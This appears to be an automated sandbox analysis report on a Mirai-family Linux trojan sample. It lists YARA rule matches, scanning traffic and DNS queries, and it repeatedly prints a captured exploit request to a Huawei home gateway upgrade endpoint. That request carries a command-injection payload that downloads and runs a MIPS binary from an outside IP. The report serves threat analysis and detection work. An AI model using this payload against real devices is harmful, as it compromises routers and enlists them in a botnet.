6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 41.81.159.32
Source: unknown	TCP traffic detected without corresponding DNS query: 197.15.5.0
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.90.214
Source: unknown	TCP traffic detected without corresponding DNS query: 122.175.228.228
Source: unknown	TCP traffic detected without corresponding DNS query: 107.199.216.14
Source: unknown	TCP traffic detected without corresponding DNS query: 156.42.9.81
Source: unknown	TCP traffic detected without corresponding DNS query: 156.24.115.23
Source: unknown	TCP traffic detected without corresponding DNS query: 41.181.59.114
Source: unknown	TCP traffic detected without corresponding DNS query: 197.190.64.101
Source: unknown	TCP traffic detected without corresponding DNS query: 41.179.179.52
Source: unknown	TCP traffic detected without corresponding DNS query: 197.228.7.203
Source: unknown	TCP traffic detected without corresponding DNS query: 95.155.162.145
Source: unknown	TCP traffic detected without corresponding DNS query: 190.254.244.14
Source: unknown	TCP traffic detected without corresponding DNS query: 41.182.190.43
Source: unknown	TCP traffic detected without corresponding DNS query: 197.96.249.182
Source: unknown	TCP traffic detected without corresponding DNS query: 41.111.239.93
Source: unknown	TCP traffic detected without corresponding DNS query: 160.98.156.23
Source: unknown	TCP traffic detected without corresponding DNS query: 41.247.137.142
Source: unknown	TCP traffic detected without corresponding DNS query: 197.207.152.62
Source: unknown	TCP traffic detected without corresponding DNS query: 41.24.87.220
Source: unknown	TCP traffic detected without corresponding DNS query: 138.163.6.13
Source: unknown	TCP traffic detected without corresponding DNS query: 122.193.83.137
Source: unknown	TCP traffic detected without corresponding DNS query: 156.58.237.229
Source: unknown	TCP traffic detected without corresponding DNS query: 41.187.51.216
Source: unknown	TCP traffic detected without corresponding DNS query: 41.236.47.3
Source: unknown	TCP traffic detected without corresponding DNS query: 41.32.74.198
Source: unknown	TCP traffic detected without corresponding DNS query: 92.132.180.198
Source: unknown	TCP traffic detected without corresponding DNS query: 41.162.114.215
Source: unknown	TCP traffic detected without corresponding DNS query: 37.6.221.173
Source: unknown	TCP traffic detected without corresponding DNS query: 41.242.68.4
Source: unknown	TCP traffic detected without corresponding DNS query: 156.106.52.80
Source: unknown	TCP traffic detected without corresponding DNS query: 190.253.119.174
Source: unknown	TCP traffic detected without corresponding DNS query: 41.199.75.188
Source: unknown	TCP traffic detected without corresponding DNS query: 41.73.204.82
Source: unknown	TCP traffic detected without corresponding DNS query: 197.255.254.120
Source: unknown	TCP traffic detected without corresponding DNS query: 154.227.145.252
Source: unknown	TCP traffic detected without corresponding DNS query: 197.160.215.179
Source: unknown	TCP traffic detected without corresponding DNS query: 197.54.251.185
Source: unknown	TCP traffic detected without corresponding DNS query: 197.13.123.203
Source: unknown	TCP traffic detected without corresponding DNS query: 156.175.155.141
Source: unknown	TCP traffic detected without corresponding DNS query: 156.51.144.9
Source: unknown	TCP traffic detected without corresponding DNS query: 92.217.32.40
Source: unknown	TCP traffic detected without corresponding DNS query: 156.240.215.121
Source: unknown	TCP traffic detected without corresponding DNS query: 41.145.236.20
Source: unknown	TCP traffic detected without corresponding DNS query: 196.149.194.251
Source: unknown	TCP traffic detected without corresponding DNS query: 197.177.31.55
Source: unknown	TCP traffic detected without corresponding DNS query: 41.85.114.22
Source: unknown	TCP traffic detected without corresponding DNS query: 157.41.245.79
Source: unknown	TCP traffic detected without corresponding DNS query: 156.125.107.52
Source: unknown	TCP traffic detected without corresponding DNS query: 197.44.180.226

Source: unknown

DNS traffic detected: queries for: asdsdfjsdfsd.indy

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: Hc4cUTxU09.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: Hc4cUTxU09.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: Hc4cUTxU09.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: Hc4cUTxU09.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: Hc4cUTxU09.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: Hc4cUTxU09.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: Hc4cUTxU09.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6210.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 6210.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 6210.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6210.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6210.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown

Source: Initial sample

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: Hc4cUTxU09.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: Hc4cUTxU09.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: Hc4cUTxU09.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: Hc4cUTxU09.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: Hc4cUTxU09.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
